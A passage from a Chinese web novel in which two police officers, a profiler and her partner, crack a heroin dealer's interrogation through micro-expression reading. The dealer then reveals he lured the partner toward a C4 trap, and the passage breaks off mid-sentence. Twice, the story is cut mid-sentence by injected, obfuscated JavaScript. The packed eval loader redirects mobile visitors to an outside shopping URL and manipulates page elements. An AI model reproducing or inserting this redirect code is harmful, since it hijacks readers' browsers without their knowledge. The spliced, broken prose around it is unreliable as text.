《侧写师小姐2》
2. 可疑的毒贩(一)
曾经有人问,一个人的信念到底有多深。
赵与说,不深的。
只如落在柳回笙肩上的一片红枫。
============
清晨,麻雀偶啼。
晨辉裹挟着风声洒向高楼,金光如雨幕离晃眼的警戒线刺入窗帘缝隙,在床上拉出二人相拥的弧度。
闹钟没响,赵与已经在光线中睁开了眼睛。
她睡眠浅,微弱的光线或声响都能惊动她。转头朝旁边一看,柳回笙正侧卧着缩在她怀里,面庞在暗调的光辉里印刻出跨越时空的旧照片,睫毛安宁地停歇在下眼睑,似雪域深处的银狐。
赵与静静看着,心里涌入暖流,滋润这个醒来爱人在怀的平凡清晨。
她轻轻低头吻了一下脸颊,抽出枕在她侧颈的手臂,轻微的酥麻带着肌肤相贴的温度,心里越发充实。
“嗯?”
几乎手臂抽离的同时,怀里的人警觉地发出鼻音,从梦里睁开眼睛。
她下意识看向赵与,惺忪的眼眸慢慢聚焦,嘴唇微启,没有说话,无声询问着。
赵与朝她浅笑:
“早。”
柳回笙慵懒地又从鼻腔里发出一声鼻音,朦胧地回了句:
“早。”
然后问:
“几点了?”
赵与从枕头边摸过手机,点了下屏幕:
“7点半。再睡会儿吧,45叫你。”
柳回笙闭上眼睛,搂着赵与的腰往她怀里钻深了几分,强劲的心跳透过肋骨和胸.脯传过来,在耳膜落下慢节奏的鼓点。女性的体香在被窝彻夜酝酿后变得浓郁且均匀,两人的香味融为一体,呼吸着酝酿的第三种味道。
缓了十几秒,赵与以为她睡着时,柳回笙再次抬头:
“不睡了,今天第一天报到,早点去。”
“你昨晚体力消耗太大了,再休息会儿。”赵与说。
“也不知道拜谁所赐?”柳回笙佯怒。
“那,我后面不是也收敛了?现在还早,9点才上班,不会迟到的。”赵与心里算着时间。
“不行,还得化妆。”柳回笙已经坐了起来。
“这么正式?”赵与问。
“对啊。”
说着,柳回笙坐直上半身,好看的眼睛直勾勾盯着赵与,语速慢了下来,说到:
“蓊阳市公安局刑侦支队第一大队队长,赵与同志,今天是你做大队长的第一天,请你严肃一点好么?”
不久前,二人在抓捕Thanatos的案件中表现出色,从小市分局调派到省会市局,赵与也荣升为第一大队的队长。第一大队一般主办市局的重案要案,很多老刑警嘴里的“重案大队”,或者“重案组”,就是一大队。
至于柳回笙,也顺利从二级警司晋升为一级警司,正式拿到“侧写师”的岗位编制,同时在蓊阳公安大学做犯罪心理学教授。
两人一起晋升,一起授衔。
今天是两人以新身份踏进市局的第一天,自然与众不同。
“牙刷。”
赵与提前挤好牙膏,将牙刷递给柳回笙。她每天都会给柳回笙挤牙膏,随后两人并排站在洗漱台前,对着半身镜刷牙。
早上不用洗面奶,刷完牙用清水洗一下就好。
赵与洗完脸就会在旁边站着,等柳回笙给她擦水乳。柳回笙给她擦完,再给自己擦,折身去衣柜取警服,赵与却叫住她:
“警服我拿出来了,在客厅。”
“嗯?”柳回笙愣了一下,“什么时候?”
“昨晚,你睡着之后。”
“你那时候没睡吗?”
“没有。”
“什么时候睡的?”
“打扫完就睡了。”
“打,扫,完?”
柳回笙缓慢重复她的话,没记错的话,昨晚结束双人1V1近身搏斗大战已经2点了,赵与哪来那么多使不完的牛劲?
打开卧室门,果然,客厅里里外外都清扫过,桌上那几本书重新放回书架,花瓶换了水,连鱼缸都重新洗了一遍。
柳回笙回头,只见赵与习以为常地在镜子面前整理肩膀发梢的翘边,犹豫再三,问:
“我没猜错的话,你昨晚还没用吸尘器?”
赵与理所当然地点头:
“嗯,吸尘器扰民。”
柳回笙粗粗算了一下起码一个半小时的工作量,再看到衣架上悬挂的没有一丝褶皱的夏常服,心中波澜不惊:
“还把警服熨了。”
“不熨会皱。”
“刚谁说不用太正式的?”
“警服不一样,穿这身还是稍微正式点。”
明明心里在意,却假装云淡风轻。
赵与每次跟她做完的确会显得比较亢奋,但顶多收拾一下卧室,不会连客厅里里外外都清扫一遍。
归根结底,还是在意第一天以新身份入职的仪式感。
柳回笙没有拆穿。
两个人相处,有时需要一些心照不宣的默契和自尊心的成全。
将藏蓝色短袖从衣架取下,扬了扬下巴,示意赵与脱掉睡衣,将警服给她穿上,再取过一旁的肩章,穿过小孔扣上卡扣。
赵与穿警服非常悦目,肩宽腰细,胸部丰挺,衣架子般将衣服的布料撑得没有一丝褶皱。
不管看多少次,柳回笙的眼神都会流露出欣赏和满足。
欣赏够了,抬眼,发觉赵与的嘴角些许上扬,似乎也沉浸在爱人喜欢自己穿警服的喜悦中。
勾勾食指,赵与便配合地贴了上来,轻车驾熟地扬起半边脸,得到柳回笙的一个吻,她就会心满意足地加深笑容,将人抱进怀里。
“南无喝呐怛那哆呐夜耶......”
正依偎着,赵与的手机突然响了起来,熟悉的《大悲咒》铃声。
扫了眼来电显示,脸上骤然严肃:
“喂,钟局。”
钟虹,蓊阳市公安局副局长。这次赵与跟柳回笙从蓊城调到蓊阳,就是她拍板决定的。
“赵与,有个案子。”
“您说。”赵与言简意赅。
“昨天巡逻的警员抓到一个毒贩,缴获了3公斤的毒.品。但现在审讯有点困难,我想你跟柳回笙过去看看。”
“现在人在哪?”
如果派出所的警员巡逻抓到毒贩,人第一时间应该送到的是禁毒支队,而非刑侦支队。
缉毒警跟刑警是两个警种,所属部门也不一样,跨部门合作需要一些程序上的申请。
钟虹知道她的顾虑,直接说:
“人在禁毒。程序上你不用担心,我跟禁毒支队说过了。你们这次过去首先是帮助审讯毒贩,其次,你们俩刚来这边,需要一个案子,明白了么?”
赵与沉思了一下:“明白。”
在警局办案,一要能力,二要资历。
赵与今年29,一般这个年龄的还只是普通警员,而她已经破格提拔从蓊城分局到了蓊阳市局,一去就是重案大队的队长。
论年纪,手底下大部分都是30+的老刑警,同级的二大队的队长38,三大队的队长36。论能力,能在一大队的都不是吃素的,痕迹鉴定、近身格斗、审讯盘问、跟踪追捕,个个拿手。论阅历,一大队的都办过大案,而赵与的卧底任务和抓捕Thanatos任务都还在保密期,蓊阳几乎不知道她什么背景。
当间种种,都会成为质疑的因果。
赵与不在乎这些,只在乎案子。
但柳回笙不这么想。
她利落地换上警服,两手一薅用抓夹把长发固定在脑后,眼瞳反射出刀片的冷光。
“钟局说得对。案子重要,威信也重要。他们要是不服你,以后碰上案子,你怎么安排他们做事?”
============
08:10,蓊阳市公安局。
电梯金属门从两侧打开,身穿藏蓝色警服的两人并排跨出,马不停蹄地前往监控室。
“赵队,你们来了。”
第一个起身的是老李,李夏英,刑侦一大队的警员,这次带着另一个警员过来跟赵与和柳回笙一起协助破案。
随着老李站起,其余警员也纷纷从椅子上起身。
赵与朝众人点头:
“大家辛苦了,我是刑侦支队一大队的队长赵与,这位是柳回笙。”
禁毒支队的高莉过来握手:
“赵队,这么早过来,辛苦你们了。”
赵与握手点头:
“不辛苦,应该的。”
随即看向墙上最大的监控屏幕——嫌疑人坐在正中央,两手拷在桌上,没什么动作,眼睛也不乱看,本本分分的样子。
赵与问:“现在情况怎么样?”
昨晚巡逻的警员上前汇报:
“嫌疑人孙大海,昨晚巡逻的时候发现他在市局附近鬼鬼祟祟的,一搜就从他包里搜出3公斤的海.洛/因。现在的情况是他的下线招供还有5公斤,但他绝口不承认,说不知道在哪。”
老李附和:“现在就是卡在审讯上,孙大海在其他地方都很配合,也主动交代了上线和下线,但这5公斤就坚持说不知道。”
巡逻的警员推测:“会不会他真的不知道?那5公斤是那个下线说的,也可能想立功编一个烟雾弹。”
如果在被捕之后积极配合调查,协助警方破获更多的线索,将来量刑的时候法院可以根据立功情况酌情减刑。
正是因为有这个机制,很多嫌疑人被捕后会主动招供同伙。但也有个别鬼迷心窍的,给他人捏造罪行以示自己配合调查,反而给警方破案造成很多麻烦。
赵与飞快看了两页资料,初步有了判断:
“立功减刑是在指认犯罪成立
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592238|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的基础上,如果指认作假,浪费警力,他会更麻烦。”
5公斤的数据这么具体,很容易查证。
换言之,极大概率是真的。
自己提出的猜测被推翻,警员一哂,讪笑说:
“也是,呵呵,我刚就是提出一个假设。”
一旁,柳回笙往前一步,问到:
“审讯的监控有吗?”
她骤然开口让所有人猝不及防——赵与插进来就算了,毕竟是队长,有权过问案情侦查的细节和进度。跟在后面这个小花瓶又是什么来路?进来招呼也不打,跟领导视察工作似的。
现在的小年轻都喜欢仗着好看为所欲为?
那警员不大乐意,回答得不冷不热:
“有,往回倒呗。”
老李一心想着破案,柳回笙问的时候,她已经走到控制台,把进度条往回拉:
“大概是3点半的时候,我刚扫了眼,感觉还比较正常。”
正常,是对于普通的眼睛而言。
柳回笙颔首:“劳驾,往回倒一下。”
老李看向赵与,接到赵与的点头,便把进度条定格在03:28分。
监控视频拉到最大的显示屏上播放。画面里,孙大海的姿势跟现在差不多,两只手揣着手铐放在桌上,上半身坐得端正,眼睛看着面前审问的警员,表情平和,眼睑肌肉松弛,一副良好市民一不小心失足做错事、却依然维持善良本心的样子。
“我们了解到,你还有5公斤毒品没有交易,现在放在什么地方?”
听到警察的问话,孙大海仍旧那副老实巴交的表情,右边的肩膀轻微动了一下,桌下的两只脚收到座椅下方,脚踝绕上椅腿,说:
“什么5公斤?警官,我没有啊,我所有的就包里这些。别说另外的什么5公斤了,我包里这3公斤还没找到买家呢就被抓了,这是不是算未遂啊?”
仅此一句,柳回笙有了定论,伸手,按下键盘的空格键暂停,开口,语气笃定:
“他知道那5公斤,并且不是第一次犯案。”
“嗯?”
“啥?”
“咋看出来的?”
“怎么突然这么说?”
监控室的几人跟不上柳回笙的节奏,纷纷表示不解。柳回笙扫了众人一眼,接到老李左右为难的眼神。
的确,他们不知道她柳回笙的来路,也不清楚她的本事。今天从进屋开始算也就不到2分钟,把他们忙活几小时没有进展的口供下了定论,任谁也觉得诡异。
于是将监控往回退了15秒,换成0.5倍速。
“这里,当你们提到那5公斤的毒.品时,他表面看上去身体好像很稳,但右边的肩膀轻微动了一下,这代表他想隐瞒一些事情。如果他真的不知道,这时候的表情应该是震惊、茫然,甚至会反问你们,质疑你们想栽赃他,身体的反应也应该是左右对称的。这些表情他都没有,因为他知道这5公斤,但是想隐瞒。”
0.5倍速播放的画面里,孙大海的肩膀的确动了一下。
柳回笙把脸部画面放大:
“同时,他的嘴唇往内抿,眉头下压,虽然很快就恢复了,但下意识的表情已经暴露,他这个时候非常的不安。”
说到这里,一开始巡逻的警员开口:
“可是这只是一些表情,以后上了法院,也不能成为呈堂证供吧?”
柳回笙回头:
“表情和肢体也是语言的一种,不能成为证据,不代表不能用来破案。就比如您。”
“我?”
“脚是人类最诚实的部位,比如你现在不想跟我说话,所以即便你面朝着我,但你的脚尖是朝向门口的。”
对方低头一看,果然自己的脚如柳回笙所说,脚尖正朝着门口,于是不情不愿地收回来,闭嘴。
柳回笙宽容地送了他一个微笑,转身,放大孙大海的下半身画面,继续说到:
“反观孙大海,他说自己不知道5公斤的毒.品,但说的时候原本伸出去的两条腿收了回来,缠绕在椅腿上。这是隐瞒和躲藏的表现,说明他对自己的话没有底气。换言之,他在说谎。”
一番论证下来,原本质疑的人没了声音,好几双眼睛直勾勾盯着柳回笙,理解、疑惑、好奇、不解,种种情绪掉入深色染缸,最终好奇占据上风。
终于,其中一个警员上前问:
“师姐,您......哪位呀?”
柳回笙眼神淡淡,取出自己的警官证,亮在那人眼前:
“侧写师,柳回笙。”
与此同时,身后的赵与已经将资料看完,将重要的两页夹进文件夹,捏进虎口:
“目前看来,孙大海隐瞒了很多事。你们辛苦一晚上也累了,先去吃个早饭吧,我跟柳回笙进去问一下。”
于是,双双离开监控室,推开相邻的审讯室的房门。
3. 可疑的毒贩(二)
08:31,审讯室。
软墙上的表盘记录着时间和温湿度,秒数一个数字一个数字地往后跳,直到59之后,31分变成32。
贩毒嫌疑人孙大海坐在受审的座位上,青蓝POLO衫,黑色棉布长裤,脚下一双耐克运动鞋。寸头,头发双鬓泛灰,抬头时额头有明显的抬头纹,脸上挂着一层整夜没有洗漱的油光。
“核对下信息。”
落座后,赵与拿起一开始放在桌上的信息表:
“孙大海,男,37岁,身份证后四位是172Y是吧?”
孙大海恭敬地点头:“哎,是的,警官。”
赵与放下信息表:“之前是做什么的?怎么想到搞这个?”
赵与的审讯不疾不徐,甚至比平时工作说话还要温和些。不像某些经验少的警员,一开口就是“你知不知道你这么做是犯法的”“坦白从宽抗拒从严”,导致嫌疑人一开始就很不配合。
罪犯在决定犯法的那一刻,便已知道那是犯法的,权衡各方利弊之后仍旧选择那么做,自动就会把警方划分到对立面。
想让嫌疑人招供,第一步是放下戒备,拉进距离。
孙大海见她并不严厉,又天生在心里有“女人好欺负”的刻板印象,交握在一起的手松了一下,身体也不那么紧绷,说:
“嗐,警官,这不也是一时糊涂嘛?我之前在工地打工的,也是最近女儿生病了,缺钱,我才听了三哥他们几个的,想着来搞一票。”
“什么病?”
“乙肝。”孙大海挠了一下鼻梁。
“几岁?”
“5岁。”
“这么小就感染了,那是得好好治。”
“对啊,这不是急坏了嘛?警官,我发誓我真的就只是想给女儿看病,可怜天下父母心,哪个当爸爸的能看着女儿生病不治的?”
“现在医学技术很发达,好好赚钱,也不是治不了,干嘛非得搞这个呢?”
“这,这不想着来钱快嘛......警官,我被抓了现行,没啥好说的。你们让我供出来的买家和上家,我也都说了。就,能不能看在我是头一回的份上,从轻处罚啊?”
“你真的是第一次么?”
“我真的是第一次。”
得到这句回答,赵与没往下问了,桌下的膝盖轻碰了柳回笙一下。柳回笙默契地也用膝盖碰了她一下,心照不宣。
赵与接着问:
“我看资料里,你跟你前妻离婚3年了,女儿没判给她么?”
孙大海挠了一下耳朵,讪笑着问:
“警官,这,您这问的都是我的私事儿。跟这个案子也不搭噶啊。”
“我们只是想了解一下,也有助于对你的行为作出判断。”赵与的解释很有说服力。
“噢......这样啊。”
孙大海低头,抿唇的同时转了转眼珠子,再抬头,又是一副老好人的面孔:
“是,我跟孩子她妈呢,是离婚3年了。女儿是判给她的。这感情虽然散伙了,但孩子是无辜的啊,对不对?当时离婚的时候,我把我所有财产都给她们娘俩了。”
“你自己一分没留?”赵与问。
“没有,我们男人哪那么多心眼儿?我一个大老爷们儿,有手有脚的,钱没了就再挣嘛。”松开的手重新握到一起。
“孩子怎么病的?”
“不知道啊。”眉毛上扬,上眼睑收缩,额头挤出抬头纹。
“乙肝不好治,是小三阳还是大三阳?”
“大三阳。”拇指藏进掌心。
“需要肝移植么?”
“要的要的,所以我这才鬼迷心窍,干这个来了嘛?”
说到这里,孙大海以为自己的感情牌已经打动了面前这两个看起来没有阅历的女警察,声情并茂地加大力度。
“警官,你们得相信我啊!要不是为了我女儿,我不会走上这条路的。我在工地搬砖,本来也没多少工钱。”
眼睛盯着赵与,手往旁边一指:
“前段时间我前妻来找我,说孩子病了,要10万块,我一时间上哪给她弄那么多钱?后来我......”
他越说越激动,甚至当场哭了出来。
隔壁监控室,巡逻抓人的警员资历稍低,见此情况有些动容,开口:
“咱们是不是整错了?没准他真第一次呢?”
老李摇头:“不一定,毒贩的话不能信,起码他不是工地的工人。”
缉毒警高莉也表示:“他们很会演戏的,为了那点毒品,什么话都敢编。就看赵队问不问得出来了。”
审讯室,赵与没接孙大海的话。
孙大海表演够了,才恍然惊觉眼前的警察已经许久没有说话。再哭下去有做戏的嫌疑,于是收拾好情绪,抬手用力擦了两下眼睛,哽咽着说:
“警官,该说的跟不该说的我都说了。是不是可以结束了?”
赵与的眼角沉了下来,幽深的眼睛宛如一口泥潭,顷刻深不见底。话锋一转,全然没了刚才问话的随和,一字一句皆是刀片。
“你是说了很多,但没有一句实话。”
孙大海被她腾然改变的的态度冲愣了,舌头打结:
“什,什么意思?”
赵与指出破绽:
“你说你之前在工地搬砖,但你的手却很干净。长期从事工地劳动的工人手背跟掌心都有老茧,指甲缝有污垢,指尖向下弯曲,甲床拱起,呈圆弧状,少数指甲开裂。但你的手没有茧,指甲也很干净,因为你从事的根本不是体力劳动。”
孙大海急了:“我,我是今年才去工地搬砖的,茧没起来不很正常么?”
赵与拆穿:“如果是新人,手上的痕迹会更严重,打磨的地方会有血泡,砖头、瓦片,会在手指手腕这些地方刮出伤痕,这些你也没有。”
“我......”
“还有,你口口声声说要给女儿做肝移植。大三阳只是携带乙肝病毒,没有发病是不用移植肝脏的。况且,哪家的肝移植,10万块就给你做了?”
孙大海急得满头大汗,两只手攥得发白,眼珠飞速转动着,飞快组织语言想要狡辩。
谁知,赵与话音刚落,一旁观察了整个盘问过程的柳回笙开了口:
“孙大海,我们已经知道你长期贩/毒,并且你前妻就是因为知道你贩/毒才跟你离婚的。你没必要再隐瞒下去,越说谎,对你越没好处。”
长期贩/毒。
这四个字出来,别说孙大海,隔壁的监控室也陷入哗然。
孙大海猛烈摇头,脖子涨红:
“我没有!你们不能因为我搞了一次,就冤枉我搞很多次吧?再说这次我都没卖成,根本就没有贩毒。这是未遂!未遂!”
孙大海突然情绪失控,一旁两个安全员立即上前把他按在椅子上。
“老实点!”
“你激动什么?好好配合录口供!”
孙大海抓着桌板,飞快瞄了眼时间,又扯着嗓子大喊了两声:
“反正我是未遂!未遂!”
面对疾风骤雨般的嘶吼,柳回笙岿然未动,语气平淡地陈述:
“世界上有三种嫌疑人,一种是没有犯罪,极力证明自己的清白。一种是老实交代自己的罪行,真心忏悔。一种是自以为可以瞒天过海,拒不认罪。你,就是第三种。"
顿了顿,说到:
“但很可惜,你瞒不过我的眼睛。”
孙大海眼睛一瞪:“我不知道你们在说什么。”
柳回笙唇角勾起嘲讽的弧度:“你是不是真以为,我跟赵队随便编两句忽悠你玩呢?”
孙大海冷笑:“难道不是么?”
柳回笙宽和地点点头,道出依据:
“刚才赵队问你,女儿得的什么病。你说乙肝。说这句话的时候,你挠了一下鼻梁。人在组织谎言的时候,血液流速会变快,鼻子的神经末梢会发生反应,产生酥痒的感觉,所以很多人会摸一下,挠一下。”
“还有你说你是第一次贩毒的时候,赵队问你‘你真的是第一次么’,你说‘我真的是第一次’。完完全全重复她的问题,这个在专业上来讲叫【重复提问式回答】,一旦这个句式出现,不管说什么,都是假话。”
人在组织谎言的时候,总是期待天衣无缝、没有破绽,但这往往会导致过犹不及,回答的答案大片段重复提问者的问题。
“再说到你女儿的病。我相信你女儿的确生病了,但绝不是携带乙肝病毒这么简单。刚才赵队问你,她怎么病的。你说不知道。但你的眉毛往上抬,眼部周围用力,上眼睑收缩,这个表情告诉我,你不但知道,并且不想告诉我们。”
真正的疑惑,眉毛会往中间收缩,单纯的茫然,眼睛周围的肌肉是松弛的,不会像孙大海整条眉毛上扬,眼周用力。
“你知道你女儿怎么生的病,但又不想暴露。结合你长期贩毒,不出意外的话,你接触过很多吸/毒人员。你卖的是海/洛/因,而不是冰/毒。冰/毒常见于烫吸,需要加热的工具。而海/洛/因不一样,很多吸毒人员会选
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592239|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
择注射。所以,你跟那些吸毒人员交易的地方,或者你家里就存放有针头。现在针头都是管制的,吸毒人员会自己保存。实在没有,就互相借用,很容易感染血液传播的疾病。如果你女儿不小心碰到,被针头划伤,恰好上面又有病毒的话,很大概率会感染。”
说到这里,孙大海用力朝一旁偏头,抬手捂了一下眼睛——
这是个羞愧的动作。
柳回笙点头,得知了答案:
“所以,她感染的不是乙肝病毒,是HIV。你的前妻发现之后,才会跟你离婚,带着女儿一走了之。”
孙大海的心理防线被两人逐层击破,想不到任何反驳的借口,憋半天挤出一句:
“你们没有证据。”
证据这一点,赵与有发言权:
“时间问题。找到你前妻和孩子,她们可以证明你是从什么时候开始贩的毒,以及,你女儿感染的到底是什么病。你手机里的通讯录,还有你贩毒的交易记录,这些禁毒支队会查得清清楚楚。”
柳回笙盯着他,接着赵与的话往下说:
“你之前是做什么的,我们已经知道了,现在来说说那5公斤的事吧。”
孙大海的手再一次攥了起来,但这次已经比之前弱了很多:
“我不知道。”
柳回笙说:
“你不是不知道,是不想说。”
她缓了两秒,换了一种方式:
“其实我要是你,我也不希望警方找到。毕竟5公斤呢,你被抓了,过段时间风声过去了,找下家去拿回来就行了。但是,万一我已经知道在哪了呢?可不可以假装不知道,然后引诱你的同伙过去,一网打尽?”
孙大海唰地抬头:
“不可能。”
否定的是“一网打尽”,而不是那“5公斤”。
柳回笙眼睛一眯:“所以,你不光知道有5公斤的毒.品,还知道在哪。”
孙大海意识到自己漏了破绽,用力闭嘴,什么都不说了,只是抬头看了眼墙上的时间。
柳回笙喝了口热水,闭眼,捏了捏鼻梁,然后曲起食指,用凸起的指节按压两侧的太阳穴。
隔壁,监控室的几人疑惑。
“她这是怎么了?”
“不知道,可能累了吧?”
“这才进去多久?”
审讯室,站在孙大海旁边的安全员也纳闷,本来问得好好的,柳回笙突然就不说话了,一旁的赵与也没有接棒的意思。
这是......不问了?
老李挥手让几人闭嘴:“别说话,看看怎么回事。”
内内外外,唯只赵与一个气定神闲——柳回笙不是累了,是要调整眼睛状态,马上动真格的了。
下一秒,柳回笙睁眼,重新看向孙大海,目光尖锐得仿佛精密的扫描仪。
“5公斤不少,你肯定会藏在一个安全的地方。你是在市局附近被捕的,那这批毒品应该离得很远。大概有10公里?不对,不止......应该是20、30——”
说到30,孙大海的嘴唇细微地往内收敛,柳回笙有了答案:
“30公里。”
接着往下,柳回笙一下眼睛都没眨,精准地捕捉着孙大海的微表情:
“30公里就有点远了,已经出了市区。有可能在东、西、南——”
有了微反应。
“南方。”
“南方地势比较复杂,有一个镇两个村,还有一座山。”
没反应。
“看来不在村镇,也不在山里。往东南走也有海——”
眼皮收缩,鼻孔轻微扩张。
“在海里。”
得到答案,柳回笙终于闭上眼睛,眼皮覆盖的刹那,生理性的酸胀达到顶峰,似牙签扎进眼球用力往下摁,等大量液体分泌之后,痛感才慢慢缓解。
得到这些线索,赵与凭借多年的刑侦经验往下推:
“现在海关查得严,上岸下海都要开包安检,5公斤的分量你一个人不可能带出海,大概率只能挡在海岸线一带。”
“放在岸上目标大,容易被发现。放在海里又要避开下水游玩的游客和捕捞的渔民。最好的地方......是禁止游客进入的——跳水崖。”
说出这个地名,孙大海握拢的两只手立即收紧,大拇指藏进掌心。胸口剧烈起伏,吸了一大口气。
什么都没说,却也什么都说了。
柳回笙将他的反应收进眼底,扭头对赵与说:
“去跳水崖。”
4. 可疑的毒贩(三)
08:59
赵与跟柳回笙双双从审讯室出来,其他人审讯4个小时没有进展的毒品,两人不到半小时就问出来了。
“赵队,太厉害了,以后多向您学习。”
“看出来他不是建筑工,没想到他还长期贩毒。”
“对啊,厉害厉害。过来第一天就破了大案子!”
半小时的审讯,赵与跟柳回笙算是小试牛刀,让众人感受到了能力。
赵与的人际关系应付得粗糙,旁人看得起她,算旁人有眼光,看不起她,算看不起她。她不在人心冷暖上做文章,心里装的从来只有案子。
面对几人态度反转的恭贺,她脸上也没多大笑容,只是稍微勾了一下嘴角,说:
“不算什么大案。现在案子还没结,当务之急,是把那5公斤找到。”
众人面面相觑,连忙说是。
有的真心崇拜,有的只是奉承着说漂亮话,柳回笙站在一旁,将人脸背后的表情看得一清二楚,没有吭声。
不管真崇拜还是假客套,赵与的威信算是立住了,往后谁也不敢把她放到第二梯队。
应和声闹腾腾的,柳回笙耳根子乱,不喜欢,索性扭头看向单面玻璃对向的审讯室,看着一个人对着墙上的时间表发呆的孙大海。
这时,禁毒支队的警员高莉说:
“赵队,这次真的谢谢你们了。我们支队长在外面出差,我刚给她汇报了一下情况,她让我们马上去找那5公斤。”
赵与也是这个意思:
“嗯,尽快出发。跳水崖面积大,地势也比较危险,你们现在人手不够,我带上一大队一起去。”
“这怎么好意思,呵呵......”
“既然是联合破案,我们一起过去也是应该的。”
“好嘞!”高莉点头。
剩下一圈人纷纷赞同:
“就是的,咱们一起去!”
“赵队,我看他这样子应该还有隐情,感觉还能挖一点关系网出来,没准是一个犯罪团伙呢。”
“对,后续我们再审一下。”
一屋子人收拾着就要出发,一直站在单面玻璃墙边的柳回笙却突然开口:
“等一下。”
赵与愣了一下,扭头,只见柳回笙双眉紧锁地盯着玻璃对面,审讯室明亮的光线透过玻璃照在她脸上,似一层不透风的塑料袋,绷得人窒息。
柳回笙鲜少出现这个表情。
赵与的心里咚了一声,心底豁开一个大口,踩偏一脚就会坠进万丈深渊。
“怎么了?”赵与问。
柳回笙回头看了她一眼,将监控往回倒了10秒,放大孙大海的面部特征。
“他怎么会是这个表情?”
赵与定睛看去,画面里,孙大海盯着墙上的时间表,突然呼出一口气,鼻孔放大,嘴角朝上方扬起,嘴唇并拢,嘴巴中部往下压——
自己隐藏的5公斤毒品即将被警方找到,他不该是这个表情。
即便赵与不那么擅长微表情分析,也看出其间端倪,回忆刚才审讯的场景,孙大海有一个重复多次的动作——
“我记得刚才他就时不时看一下时间。”
柳回笙点头,她对看时间这点也有印象。
这时,已经抵达负一层的老李打来电话:
“赵队,公车好了,你们下来吧。”
赵与顿了一下:“好,马上来。”
挂掉电话,二人视线对接,目光融合着浇筑打开真相枷锁的钥匙。
============
09:35
审讯室。
赵与带着大批警员赶去跳水崖,只留下柳回笙跟另一个警员。
那警员把刚才的口供打印出来,跟孙大海做签字之前的核对。期间,孙大海第4次看向时间。
“别看了。”
柳回笙一边喝水一边慢悠悠打断他,隔着水杯冒出的热气,声音比审讯的时候温和许多,全然口供结束准备收工的样子:
“刚赵队给我发消息,他们已经到跳水崖了。”
孙大海扯动嘴角,眉头往中间倒插——狞笑。
“哎,好,好。”
嘴上客客气气,表情却侧漏出一股格格不入的凶狠。
一旁的警员没注意他的变化,只一句一句地往下核对。柳回笙没有说话,只当什么都没看到。
09:45
口供核实完毕,警员把笔递给孙大海。摘下笔帽,刚准备在右下角签下名字的时候,审讯室的门突然从外面打开。
是禁毒支队的高莉。
“柳师姐,出事了!”
柳回笙放下水杯,问:
“什么事?”
高莉剧烈喘着气,看向一旁的孙大海,犹豫了一下,没说:
“您先出来一下。”
虽没说,但看向孙大海的那个眼神充满仇恨,是个人都看得出来,这次的“事”跟孙大海有关。
核对口供的警员连忙抽回口供,笔也收了回来,跟柳回笙一同出去。
不到一分钟,门突然从外面撞开,“砰”的一声。
柳回笙冲进来,不复之前斯文从容的形象,眉心倒插,嘴角下沉,牙齿咬着下唇内侧,抓着孙大海的衣领破口大骂:
“孙大海,你到底干了什么!混蛋!”
高莉跟另一个警员赶紧冲上来,一左一右把柳回笙往后拉:
“师姐别别别!先别冲动!”
“监控没关,消消气,先消消气!冷静一下!”
柳回笙情绪失控:
“放开我!出这么大事我怎么冷静!孙大海,你不得好死!”
她不顾形象地尖叫,抓起手边的纸杯朝孙大海砸去。
纸杯脱手的瞬间,一切仿佛按下慢速键,杯子在半空翻滚,温水从杯口飞出,划破弯刀的银光,折射出孙大海狂妄的大笑。
哒!
纸杯掉到地上,顺着惯性往前滚了几圈,停到孙大海的鞋口。
耳中的嗡名声褪去,整个房间穿荡着男人高亢的笑声,似猪圈里吃饱喝足的猪叫。
“哈哈哈——哈哈哈!”
孙大海不再压制,肆无忌惮地释放心里的痛快,看到方才从容的柳回笙情绪失控,凌虐权威的快感更加强烈,说到:
“赵与被炸成碎片了吧?不是审讯我吗?不是队长吗?怎么上任第一天就死了啊?哈哈哈——”
柳回笙大吼:“你住嘴!”
高莉在旁边拉着她,也跟着一起叱骂:
“孙大海!你别太猖狂了你!袭警是重罪你知道吗!”
“重罪?”
孙大海翘起二郎腿,靠着椅子,歪着脖子,冷笑:
“我贩毒这么久,你们查出来,我还能有得活吗?贩毒是个死,杀警察也是个死,我为什么不干票大的?足足两公斤的C4,十几米的爆炸范围,赵与就算长了翅膀,也跑不掉。”
柳回笙胸口剧烈起伏着,咬牙切齿问他:
“所以,你一开始就冲着赵与来的,是么?”
“当然。”孙大海列数自己的丰功伟绩,“不然你以为我那么蠢,大晚上揣着3公斤的东西到你们市局晃?”
“你凭什么觉得,我们会过来插手禁毒支队的案子?”
“呵,你们刚上任,不就要我这么一个案子么?问不出东西、破案没有进度,不就要你们那个什么狗屁微表情分析么?”
“你先前一直在看时间,就是算好她快到了,启动定时炸弹的?”
“定时风险多大?9点只是压力装置开始启动,那之后,任何的压力变化都会引爆炸弹。”
“什么意思?”
孙大海越来越兴奋,手
